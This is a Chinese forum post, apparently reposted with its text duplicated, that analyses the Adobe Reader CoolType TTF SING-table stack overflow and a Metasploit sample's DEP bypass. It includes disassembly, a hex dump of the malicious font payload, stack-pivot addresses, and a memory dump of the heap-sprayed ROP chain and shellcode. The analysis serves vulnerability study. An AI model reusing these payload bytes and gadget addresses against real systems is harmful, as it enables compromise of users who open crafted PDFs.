[原創]千年等一回-Adobe Reader CoolType庫TTF字型解析棧溢位漏洞分析
仙果發表於2010-10-10
題目:千年等一回-Adobe Reader CoolType庫TTF字型解析棧溢位漏洞分析
作者:仙果
目錄:
0x1.漏洞描述
0x2.測試環境
0x3.漏洞觸發原理分析
0x4.漏洞利用及繞過DEP相關技術分析
0x5.總結
題記:之所以稱之為千年等一回,是因為很難得能碰到一個棧溢位漏洞,而且這個漏洞的利用還非常的怪異:一個棧溢位漏洞還需要堆噴射結合起來才能夠很好的利用.
Adobe Reader此時送上了這個漏洞,千年等一回啊,確實需要仔細的分析一下,以下是自己的分析總結,其中必然有不正確的地方,歡迎批評指正。某位大牛說可以不用JavaScript填充
就可以做到穩定利用,我等小菜實在是不知道該如何做,還請大牛指點一二。
0x1.漏洞描述
Adobe Reader的CoolType.dll庫在解析字型檔案SING表格中的uniqueName項時存在棧溢位漏洞,使用者受騙開啟了特製的PDF檔案就可能導致執行任意程式碼。
0x2.測試環境
系統:Windows XP SP3
軟體:Adboe Reader 9.3.4
除錯軟體及其他:Windbg 010editor notepad++ IDA
0x3.漏洞觸發原理分析
樣本為1個,Metaspoit生成。漏洞觸發原理分析使用Metaspoit生成的樣本。
這是一個典型的棧溢位漏洞,其直接呼叫strcat不安全字串操作函式,導致棧頂(esp)被覆蓋,這與之前暴風影音爆出來的M3U檔案格式的漏洞如出一轍,我有一篇分析,大家可以參考下。
連結地址為:http://bbs.pediy.com/showthread.php?t=112633
函式執行原型為:
strcat(StackMemcpy,SINGTable->uniqueName),由於惡意的uniqueName
這又是一個檔案格式類的漏洞,下面來解釋下TTF檔案格式,資料是從網路上搜集到的,這裡進行引用
前置知識:little endian和big endian的概念解釋
ittle endian和big endian是表示計算機位元組順序的兩種格式,所謂的位元組順序指的是長度跨越多個位元組的資料的存放形式.
假設從地址0x00000000開始的一個字中儲存有資料0x1234abcd,那麼在兩種不同的記憶體順序的機器上從位元組的角度去看的話分別表示為:
1)little endian:在記憶體中的存放順序是0x00000000-0xcd,0x00000001-0xab,0x00000002-0x34,0x00000003-0x12
2)big endian:在記憶體中的存放順序是0x00000000-0x12,0x00000001-0x34,0x00000002-0xab,0x00000003-0xcd
需要特別說明的是,以上假設機器是每個記憶體單元以8位即一個位元組為單位的.
簡單的說,ittle endian把低位元組存放在記憶體的低位;而big endian將低位元組存放在記憶體的高位.
現在主流的CPU,intel系列的是採用的little endian的格式存放資料,而motorola系列的CPU採用的是big endian.
TrueType字型用machintosh的輪廓字型資源的格式編碼,有一個唯一的標記名"sfnt"。windows沒有macintosh的點陣圖字型資源格式,
字型目錄包含了字型格式的版本號和幾個表,每個表都有一個tableentry結構項,tableentry結構包含了資源標記、校驗和、偏移量和每個表的大小。下面是TrueType字型目錄的c語言定義:
TrueType 字型中的所有資料都使用big-endian編碼,最高位位元組在最前面(因為TrueType字型最初是由apple公司定義的,而apple公司的os執行在motorola的cpu上)。
如果一TrueType字型以00 01 00 00 ,00 17開頭,我們就可以知道它的格式是輪廓字型資源("sfnt")版本1.0的格式,有23個表。
TableDirectory結構的最後一個欄位是可變長度的tableentry結構的陣列,字型中的每個表對應其中一項。TrueType字型中的每個表都儲存了不同的邏輯資訊
-----如圖元中資料、字元到圖元的對映、字距調整資訊等等。有表是必須的,有些是可選的。下表列出了TrueType字型中常見的表。
沒有查詢到SING表具體的作用,只查詢到了SING表的資料結構如圖(1):
對比樣本中資料:
[ebp+var_24]賦給eax,這樣,eax就指向了SING表的起始位置,觀察圖(1)中SING表的資料結構
add eax,10h指向了uniqueName ,其定義是28個位元組的長度,但樣本中已經被填充了惡意資料,不止28個位元組
而程式在呼叫strcat之前,沒有對uniqueName的資料長度進行驗證,這就是漏洞觸發的根本原因。
0x4.漏洞利用及繞過DEP相關技術分析
上面分析了漏洞的觸發原理,現在來討論下此漏洞在利用中的相關技術。由於Adobe Reader的版本9.2之後就引入了DEP技術,預設開啟了DEP保護,在剛開始的時候對PDF漏洞的利用造成了很大的困擾,
但功夫不負有心人不知道是國外還是國內的高手創造了透過"ROR繞過DEP"的方法,具體原理大家可以搜尋泉哥的文章,上面有詳細的介紹,我這裡就不解釋了,這裡給出連結:http://bbs.pediy.com/showthread.php?t=119300
想說的是這個漏洞在利用ROR技術的同時也很巧妙的構造了跳轉的地址,有很強的技巧性,不得不佩服寫這個漏洞利用的高手,我在下面會一一的解釋。
首先是Metaspoit的樣本
Adobe Reader會在070013fa處引用08231044這個地址,0x28231044是樣本中的資料(可以自行驗證),之所以這麼做是因為此處需要一個可讀寫的地址並且保證函式執行流程完畢能夠返回上層呼叫函式。
這個地址尋找起來特別麻煩,如果不對Adobe Reader各個函式流程精確掌握的話是很難找到這個地址,最起碼我是沒有找到,在寫其他版本下的利用的時候,需要修改這個值。
0x0806c57e也是樣本中的資料,此時可以發現從上一步開始程式的執行流程已經被改變,接下來才到重頭戲:繞過DEP
可以看出0x0c0c0c0c也是樣本中的資料,其被巧妙的填充為繞過DEP的程式碼且首地址為0x07004919,何等的華麗巧妙!
0x5.總結
縱觀漏洞,從觸發到利用,無處不透露著編寫者巧妙的思路以及紮實的基礎。第一使程式在070013fa處正常執行,並能夠返回上層函式。
第二透過兩次對函式地址的引用以及準確的堆填充,使程式流程精確的跳轉到繞過DEP的程式碼。第三精心構造PDF使其載入沒有地址隨機化的DLL,使漏洞可以針對Win7系統。
第四同一個PDF文件可以針對不同的Adobe Reader版本。漏洞利用是一門藝術,而這些就是自己學習的目標。
msf.pdf.rar
作者:仙果
目錄:
0x1.漏洞描述
0x2.測試環境
0x3.漏洞觸發原理分析
0x4.漏洞利用及繞過DEP相關技術分析
0x5.總結
題記:之所以稱之為千年等一回,是因為很難得能碰到一個棧溢位漏洞,而且這個漏洞的利用還非常的怪異:一個棧溢位漏洞還需要堆噴射結合起來才能夠很好的利用.
Adobe Reader此時送上了這個漏洞,千年等一回啊,確實需要仔細的分析一下,以下是自己的分析總結,其中必然有不正確的地方,歡迎批評指正。某位大牛說可以不用JavaScript填充
就可以做到穩定利用,我等小菜實在是不知道該如何做,還請大牛指點一二。
0x1.漏洞描述
Adobe Reader的CoolType.dll庫在解析字型檔案SING表格中的uniqueName項時存在棧溢位漏洞,使用者受騙開啟了特製的PDF檔案就可能導致執行任意程式碼。
0x2.測試環境
系統:Windows XP SP3
軟體:Adboe Reader 9.3.4
除錯軟體及其他:Windbg 010editor notepad++ IDA
0x3.漏洞觸發原理分析
樣本為1個,Metaspoit生成。漏洞觸發原理分析使用Metaspoit生成的樣本。
這是一個典型的棧溢位漏洞,其直接呼叫strcat不安全字串操作函式,導致棧頂(esp)被覆蓋,這與之前暴風影音爆出來的M3U檔案格式的漏洞如出一轍,我有一篇分析,大家可以參考下。
連結地址為:http://bbs.pediy.com/showthread.php?t=112633
.text:0803DD5D push offset aName ; "name" .text:0803DD62 push edi ; int .text:0803DD63 lea ecx, [ebp+var_1C] .text:0803DD66 mov [ebp+var_11], 0 .text:0803DD6A call sub_80217D7 .text:0803DD6F cmp [ebp+var_1C], esi .text:0803DD72 jnz short loc_803DDDD .text:0803DD74 push offset aSing ; "SING" .text:0803DD79 push edi ; int .text:0803DD7A lea ecx, [ebp+var_24] .text:0803DD7D call sub_8021B06 //處理"SING"表, .text:0803DD82 mov eax, [ebp+var_24] //指向惡意資料,其實是SING表,已經被修改為惡意資料 .text:0803DD85 cmp eax, esi //比較eax,esi .text:0803DD87 mov byte ptr [ebp+var_4], 2 .text:0803DD8B jz short loc_803DDC4 //相等則跳,這裡不條 .text:0803DD8D mov ecx, [eax] //把eax指向的內容賦給 ecx .text:0803DD8F and ecx, 0FFFFh .text:0803DD95 jz short loc_803DD9F //這裡跳轉 .text:0803DD97 cmp ecx, 100h .text:0803DD9D jnz short loc_803DDC0 .text:0803DD9F .text:0803DD9F loc_803DD9F: ; CODE XREF: sub_803DCF9+9Cj .text:0803DD9F add eax, 10h //跳過sizeof(USHORT)*8 .text:0803DDA2 push eax ; Source 把源地址壓入堆疊 .text:0803DDA3 lea eax, [ebp+0] //目的地址 .text:0803DDA6 push eax ; Dest //這裡就是目的地址 .text:0803DDA7 mov byte ptr [ebp+0], 0 .text:0803DDAB call strcat //這裡呼叫strcat函式,覆蓋棧頂(ESP)
函式執行原型為:
strcat(StackMemcpy,SINGTable->uniqueName),由於惡意的uniqueName
這又是一個檔案格式類的漏洞,下面來解釋下TTF檔案格式,資料是從網路上搜集到的,這裡進行引用
前置知識:little endian和big endian的概念解釋
ittle endian和big endian是表示計算機位元組順序的兩種格式,所謂的位元組順序指的是長度跨越多個位元組的資料的存放形式.
假設從地址0x00000000開始的一個字中儲存有資料0x1234abcd,那麼在兩種不同的記憶體順序的機器上從位元組的角度去看的話分別表示為:
1)little endian:在記憶體中的存放順序是0x00000000-0xcd,0x00000001-0xab,0x00000002-0x34,0x00000003-0x12
2)big endian:在記憶體中的存放順序是0x00000000-0x12,0x00000001-0x34,0x00000002-0xab,0x00000003-0xcd
需要特別說明的是,以上假設機器是每個記憶體單元以8位即一個位元組為單位的.
簡單的說,ittle endian把低位元組存放在記憶體的低位;而big endian將低位元組存放在記憶體的高位.
現在主流的CPU,intel系列的是採用的little endian的格式存放資料,而motorola系列的CPU採用的是big endian.
TrueType字型用machintosh的輪廓字型資源的格式編碼,有一個唯一的標記名"sfnt"。windows沒有macintosh的點陣圖字型資源格式,
字型目錄包含了字型格式的版本號和幾個表,每個表都有一個tableentry結構項,tableentry結構包含了資源標記、校驗和、偏移量和每個表的大小。下面是TrueType字型目錄的c語言定義:
typedef sturct { char tag[4];// 標記,如”SING” ULONG checkSum;// 校驗和 ULONG offset;// 相對檔案的偏移 ULONG length;// 資料長度 }TableEntry;
TrueType 字型中的所有資料都使用big-endian編碼,最高位位元組在最前面(因為TrueType字型最初是由apple公司定義的,而apple公司的os執行在motorola的cpu上)。
如果一TrueType字型以00 01 00 00 ,00 17開頭,我們就可以知道它的格式是輪廓字型資源("sfnt")版本1.0的格式,有23個表。
TableDirectory結構的最後一個欄位是可變長度的tableentry結構的陣列,字型中的每個表對應其中一項。TrueType字型中的每個表都儲存了不同的邏輯資訊
-----如圖元中資料、字元到圖元的對映、字距調整資訊等等。有表是必須的,有些是可選的。下表列出了TrueType字型中常見的表。
head 字型頭 字型的全域性資訊 cmap 字元程式碼到圖元的對映 把字元程式碼對映為圖元索引 glyf 圖後設資料 圖元輪廓定義以及網格調整指令 maxp 最大需求表 字型中所需記憶體分配情況的彙總資料 mmtx 水平規格 圖元水平規格 loca 位置表索引 把元索引轉換為圖元的位置 name 命名錶 版權說明、字型名、字型族名、風格名等等 hmtx 水平佈局 字型水平佈局星系:上高、下高、行間距、最大前進寬度、最小左支撐、最小右支撐 kerm 字距調整表 字距調整對的陣列 post PostScript資訊 所有圖元的PostScript FontInfo目錄項和PostScript名 PCLT PCL 5資料 HP PCL 5Printer Language 的字型資訊:字型數、寬度、x高度、風格、記號集等等 OS/2 OS/2和Windows特有的規格 TrueType字型所需的規格集
沒有查詢到SING表具體的作用,只查詢到了SING表的資料結構如圖(1):
對比樣本中資料:
00E0h: 05 47 06 3A 00 00 EB 2C 00 00 00 20 53 49 4E 47 .G.:..?... SING 00F0h: D9 BC C8 B5 00 00 01 1C 00 00 1D DF 70 6F 73 74 偌鵲.......遬ost 0100h: B4 5A 2F BB 00 00 B8 F4 00 00 02 8E 70 72 65 70 碯/?.隔...巔rep 0110h: 3B 07 F1 00 00 00 20 F8 00 00 05 68 00 00 01 00 ;.?.. ?..h.... 0120h: 01 0E 00 01 00 00 00 00 00 00 00 3A 41 41 41 41 ...........:AAAA 0130h: 41 41 41 41 7E C5 06 08 0C 0C 0C 0C 41 41 41 41 AAAA~?.....AAAA //呼叫0x081586a5後,執行這裡 0140h: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0150h: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0160h: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0170h: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0180h: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0190h: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 01A0h: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 01B0h: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 01C0h: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 01D0h: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 01E0h: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 01F0h: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0200h: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0210h: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0220h: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0230h: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0240h: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0250h: 41 41 41 41 41 41 41 41 41 41 41 41 44 10 23 08 AAAAAAAAAAAAD.#. //070013fa處呼叫0x08231044 0260h: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0270h: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0280h: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0290h: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 02A0h: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 02B0h: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 02C0h: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 02D0h: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 02E0h: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 02F0h: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0300h: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0310h: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0320h: 41 41 41 41 A5 86 15 08 41 41 41 41 41 41 41 41 AAAA..AAAAAAAA //0x081586a5 0330h: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0340h: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0350h: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0360h: 41 41 41 41 41 41 41 41 6C 00 00 00 41 41 41 41 AAAAAAAAl...AAAA
其中 0500h: 53 49 4E 47 D9 BC C8 B5 00 00 01 1C 00 00 1D DF SING偌鵲.......? 就是SING表表目錄結構: typedef sturct_SING { char tag[4];// 標記:"SING" ULONG checkSum;// 校驗和:"0xD9BCC8B5" ULONG offset;// 相對檔案的偏移:"0x0000011C " ULONG length;// 資料長度:"0x00001DDF" }TableEntry; 此時返回彙編程式碼看 .text:0803DD74 push offset aSing ; "SING" .text:0803DD79 push edi ; int .text:0803DD7A lea ecx, [ebp+var_24] .text:0803DD7D call sub_8021B06 //處理"SING"表, .text:0803DD82 mov eax, [ebp+var_24] //指向SING表結構的起始地址 .text:0803DD85 cmp eax, esi .text:0803DD87 mov byte ptr [ebp+var_4], 2 .text:0803DD8B jz short loc_803DDC4 .text:0803DD8D mov ecx, [eax] .text:0803DD8F and ecx, 0FFFFh .text:0803DD95 jz short loc_803DD9F //跳轉 .text:0803DD97 cmp ecx, 100h .text:0803DD9D jnz short loc_803DDC0 .text:0803DD9F .text:0803DD9F loc_803DD9F: ; CODE XREF: sub_803DCF9+9Cj .text:0803DD9F add eax, 10h //跳過sizeof(USHORT)*8,跳過0x10個位元組,指向uniqueName .text:0803DDA2 push eax ; Source 把源地址(指向uniqueName)壓入堆疊 .text:0803DDA3 lea eax, [ebp+0] //目的地址 .text:0803DDA6 push eax ; Dest //這裡就是目的地址 .text:0803DDA7 mov byte ptr [ebp+0], 0 .text:0803DDAB call strcat //這裡呼叫strcat函式,覆蓋棧頂(ESP)
[ebp+var_24]賦給eax,這樣,eax就指向了SING表的起始位置,觀察圖(1)中SING表的資料結構
add eax,10h指向了uniqueName ,其定義是28個位元組的長度,但樣本中已經被填充了惡意資料,不止28個位元組
而程式在呼叫strcat之前,沒有對uniqueName的資料長度進行驗證,這就是漏洞觸發的根本原因。
0x4.漏洞利用及繞過DEP相關技術分析
上面分析了漏洞的觸發原理,現在來討論下此漏洞在利用中的相關技術。由於Adobe Reader的版本9.2之後就引入了DEP技術,預設開啟了DEP保護,在剛開始的時候對PDF漏洞的利用造成了很大的困擾,
但功夫不負有心人不知道是國外還是國內的高手創造了透過"ROR繞過DEP"的方法,具體原理大家可以搜尋泉哥的文章,上面有詳細的介紹,我這裡就不解釋了,這裡給出連結:http://bbs.pediy.com/showthread.php?t=119300
想說的是這個漏洞在利用ROR技術的同時也很巧妙的構造了跳轉的地址,有很強的技巧性,不得不佩服寫這個漏洞利用的高手,我在下面會一一的解釋。
首先是Metaspoit的樣本
070013f2 55 push ebp 070013f3 8bec mov ebp,esp 070013f5 51 push ecx 070013f6 51 push ecx 070013f7 8d411c lea eax,[ecx+1Ch] 070013fa 8945f8 mov dword ptr [ebp-8],eax ss:0023:0012e44c=08231044 070013fd 8b45f8 mov eax,dword ptr [ebp-8] 07001400 f0ff08 lock dec dword ptr [eax] 07001403 0f9445ff sete byte ptr [ebp-1] 07001407 807dff00 cmp byte ptr [ebp-1],0 0700140b 7405 je BIB+0x1412 (07001412) 0700140d e8a3ffffff call BIB+0x13b5 (070013b5)
Adobe Reader會在070013fa處引用08231044這個地址,0x28231044是樣本中的資料(可以自行驗證),之所以這麼做是因為此處需要一個可讀寫的地址並且保證函式執行流程完畢能夠返回上層呼叫函式。
這個地址尋找起來特別麻煩,如果不對Adobe Reader各個函式流程精確掌握的話是很難找到這個地址,最起碼我是沒有找到,在寫其他版本下的利用的時候,需要修改這個值。
0808b2dc c686e000000001 mov byte ptr <Unloaded_ame.dll>+0xdf (000000e0)[esi],1 0808b2e3 8b473c mov eax,dword ptr [edi+3Ch] 0808b2e6 3bc3 cmp eax,ebx 0808b2e8 8986f4020000 mov dword ptr <Unloaded_ame.dll>+0x2f3 (000002f4)[esi],eax 0808b2ee 899ef8020000 mov dword ptr <Unloaded_ame.dll>+0x2f7 (000002f8)[esi],ebx 0808b2f4 895dfc mov dword ptr [ebp-4],ebx 0808b2f7 7507 jne CoolType!CTInit+0x44c5d (0808b300) 0808b2f9 32c0 xor al,al 0808b2fb e994020000 jmp CoolType!CTInit+0x44ef1 (0808b594) 0808b300 8d4dfc lea ecx,[ebp-4] 0808b303 51 push ecx 0808b304 53 push ebx 0808b305 6a03 push 3 0808b307 50 push eax 0808b308 ff10 call dword ptr [eax] ds:0023:0012e6d0=081586a5 程式在0808b308處執行call [eax],而eax的值是樣本中的資料:0x081586a5 081586a5 81c594070000 add ebp,offset <Unloaded_ame.dll>+0x793 (00000794) 081586ab c9 leave 081586ac c3 ret ret後 0806c57e 5c pop esp 0806c57f c3 ret
0x0806c57e也是樣本中的資料,此時可以發現從上一步開始程式的執行流程已經被改變,接下來才到重頭戲:繞過DEP
0:000> d 0c0c0c0c 0c0c0c0c 19 49 00 07 cc cc cc cc ef 48 00 07 6f 15 00 07 cc cc cc cc 84 90 00 07 84 90 00 .I.......H..o.............. 0c0c0c27 07 84 90 00 07 84 90 00 07 84 90 00 07 84 90 00 07 33 90 00 07 84 90 00 07 0c 0c .................3......... 0c0c0c42 0c 0c 84 90 00 07 84 90 00 07 84 90 00 07 84 90 00 07 84 90 00 07 84 90 00 07 84 ........................... 0c0c0c5d 90 00 07 84 90 00 07 99 15 00 07 24 01 01 00 f7 72 00 07 04 01 01 00 bb 15 00 07 ...........$....r.......... 0c0c0c78 00 10 00 00 4d 15 00 07 bb 15 00 07 00 03 fe 7f b2 7f 00 07 bb 15 00 07 11 00 01 ....M...................... 0c0c0c93 00 ac a8 00 07 bb 15 00 07 00 01 01 00 ac a8 00 07 f7 72 00 07 11 00 01 00 e2 52 ..................r.......R 0c0c0cae 00 07 54 5c 00 07 ff ff ff ff 00 01 01 00 00 00 00 00 04 01 01 00 00 10 00 00 40 ..T\......................@ 0c0c0cc9 00 00 00 31 d7 00 07 bb 15 00 07 5a 90 54 90 4d 15 00 07 22 a7 00 07 bb 15 00 07 ...1.......Z.T.M..."....... 0c0c0ce4 5a eb 15 58 4d 15 00 07 22 a7 00 07 bb 15 00 07 8b 1a 89 18 4d 15 00 07 22 a7 00 Z..XM..."...........M...".. 0c0c0cff 07 bb 15 00 07 83 c0 04 83 4d 15 00 07 22 a7 00 07 bb 15 00 07 c2 04 81 fb 4d 15 .........M..."...........M. 0c0c0d1a 00 07 22 a7 00 07 bb 15 00 07 0c 0c 0c 0c 4d 15 00 07 22 a7 00 07 bb 15 00 07 75 .."...........M...".......u 0c0c0d35 ee eb 05 4d 15 00 07 22 a7 00 07 bb 15 00 07 e8 e6 ff ff 4d 15 00 07 22 a7 00 07 ...M..."...........M..."... 0c0c0d50 bb 15 00 07 ff 90 90 90 4d 15 00 07 22 a7 00 07 bb 15 00 07 90 90 90 90 4d 15 00 ........M..."...........M.. 0c0c0d6b 07 22 a7 00 07 bb 15 00 07 90 90 90 90 4d 15 00 07 22 a7 00 07 bb 15 00 07 ff ff ."...........M..."......... 0c0c0d86 ff 90 4d 15 00 07 31 d7 00 07 2f 11 00 07 da ca be 10 f6 36 ef 33 c9 d9 74 24 f4 ..M...1.../........6.3..t$. 0c0c0da1 5a b1 49 31 72 19 83 c2 04 03 72 15 f2 03 ca 07 7b eb 33 d8 1b 65 d6 e9 09 11 92 Z.I1r.....r.....{.3..e..... 0c0c0dbc 58 9d 51 f6 50 56 37 e3 e3 1a 90 04 43 90 c6 2b 54 15 c7 e0 96 34 bb fa ca 96 82 X.Q.PV7.....C..+T....4..... 0c0c0dd7 34 1f d7 c3 29 d0 85 9c 26 43 39 a8 7b 58 38 7e f0 e0 42 fb c7 95 f8 02 18 05 77 4...)...&C9.{X8~..B.......w 0c0c0df2 4c 80 2d df 6d b1 e2 3c 51 f8 8f f6 21 fb 59 c7 ca cd a5 8b f4 e1 2b d2 31 c5 d3 L.-.m..<Q...!.Y.......+.1.. 0c0c0e0d a1 49 35 69 b1 89 47 b5 34 0c ef 3e ee f4 11 92 68 7e 1d 5f ff d8 02 5e 2c 53 3e .I5i..G.4..>....h~._...^,S> 0c0c0e28 eb d3 b4 b6 af f7 10 92 74 96 01 7e da a7 52 26 83 0d 18 c5 d0 37 43 82 15 05 7c ........t..~..R&.....7C...| 0c0c0e43 52 32 1e 0f 60 9d b4 87 c8 56 12 5f 2e 4d e2 cf d1 6e 12 d9 15 3a 42 71 bf 43 09 R2..`....V._.M...n...:Bq.C. 0c0c0e5e 81 40 96 9d d1 ee 49 5d 82 4e 3a 35 c8 40 65 25 f3 8a 0e cf 09 5d 4e 0f 12 9c d8 .@....I].N:5.@e%.....]N.... 0c0c0e79 0d 12 8f 44 98 f4 c5 64 cc af 71 1c 55 3b e3 e1 40 41 23 69 66 b5 ea 9a 03 a5 9b ...D...d..q.U;..@A#if...... 0c0c0e94 6a 5e 97 0a 74 75 b2 b2 e0 71 15 e4 9c 7b 40 c2 02 84 a7 58 8a 10 08 37 f3 f4 88 j^..tu...q...{@....X...7... 0c0c0eaf c7 a5 9e 88 af 11 fa da ca 5d d7 4e 47 c8 d7 26 3b 5b bf c4 62 ab 60 36 41 2d 5d .........].NG..&;[..b.`6A-] 0c0c0eca e1 ac ab 97 87 dc 77 41 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c ......wA...................
可以看出0x0c0c0c0c也是樣本中的資料,其被巧妙的填充為繞過DEP的程式碼且首地址為0x07004919,何等的華麗巧妙!
0x5.總結
縱觀漏洞,從觸發到利用,無處不透露著編寫者巧妙的思路以及紮實的基礎。第一使程式在070013fa處正常執行,並能夠返回上層函式。
第二透過兩次對函式地址的引用以及準確的堆填充,使程式流程精確的跳轉到繞過DEP的程式碼。第三精心構造PDF使其載入沒有地址隨機化的DLL,使漏洞可以針對Win7系統。
第四同一個PDF文件可以針對不同的Adobe Reader版本。漏洞利用是一門藝術,而這些就是自己學習的目標。
msf.pdf.rar
相關文章
- CVE-2010-2883Adobe Reader和Acrobat CoolType.dll棧緩衝區溢位漏洞分析2016-07-28BAT
- CVE-2010-2883-CoolType.dll緩衝區溢位漏洞分析2020-10-17
- [原創]Adobe reader 漏洞CVE-2009-4324初步分析2010-01-10
- PWN(棧溢位漏洞)-原創小白超詳細[Jarvis-level0]2024-11-07JAR
- YoungzsoftCMailServer遠端棧溢位漏洞2017-11-12AIServer
- [二進位制漏洞]棧(Stack)溢位漏洞 Linux篇2022-06-19Linux
- 從CVE復現看棧溢位漏洞利用2024-04-12
- DLink 815路由器棧溢位漏洞分析與復現2022-03-29路由器
- SMT整型溢位漏洞分析筆記2018-06-19筆記
- StackOverFlowError(棧溢位)2020-09-30Error
- CVE-2010-3333-office RTF棧溢位漏洞分析2021-04-10
- 棧溢位基礎2022-05-27
- 阿里大佬講解Java記憶體溢位示例(堆溢位、棧溢位)2020-12-12阿里Java記憶體溢位
- 一個簡單的遠端溢位漏洞分析2016-03-10
- 64位Linux下的棧溢位2020-08-19Linux
- Android 如何應用ttf圖示字型庫2016-11-10Android
- 棧溢位基礎及利用2021-03-09
- Java棧溢位|記憶體洩漏|記憶體溢位2024-08-13Java記憶體溢位
- 快取區溢位漏洞工具Doona2017-04-13快取
- Android WebView載入TTF字型2016-09-01AndroidWebView
- 二進位制漏洞挖掘之整數溢位2024-02-01
- 原創 | Ripple20:Treck TCP/IP協議棧漏洞分析與驗證(附視訊)2020-07-06TCP協議
- [原創]CVE-2012-1535 Flash解析特殊格式字型漏洞樣本構造分享2012-10-27
- 記憶體和棧溢位問題定位2020-10-07記憶體
- 使用metasploit進行棧溢位攻擊-52014-11-22
- CVE-2013-3346Adobe Reader和Acrobat 記憶體損壞漏洞分析2016-08-01BAT記憶體
- Adobe Reader存在嚴重漏洞 或導致系統崩潰2016-06-30
- Linux堆溢位漏洞利用之unlink2020-08-19Linux
- 以太坊智慧合約 Hexagon 存在溢位漏洞2018-06-19Go
- 記憶體溢位的分析2012-02-17記憶體溢位
- pwntools緩衝區溢位與棧沒對齊2024-08-12
- Uni-app 中使用 .ttf 字型圖示2020-11-13APP
- Adobe reader multiple languages pack2018-01-22
- Adobe Acrobat Reader 下載2024-10-18BAT
- perl格式串處理整數溢位漏洞(轉)2007-07-27
- IMail SMTP 緩衝區溢位漏洞 (APP,缺陷) (轉)2007-12-07AIAPP
- Python中的棧溢位及解決辦法2018-03-13Python
- Linux pwn入門教程(1)——棧溢位基礎2018-06-29Linux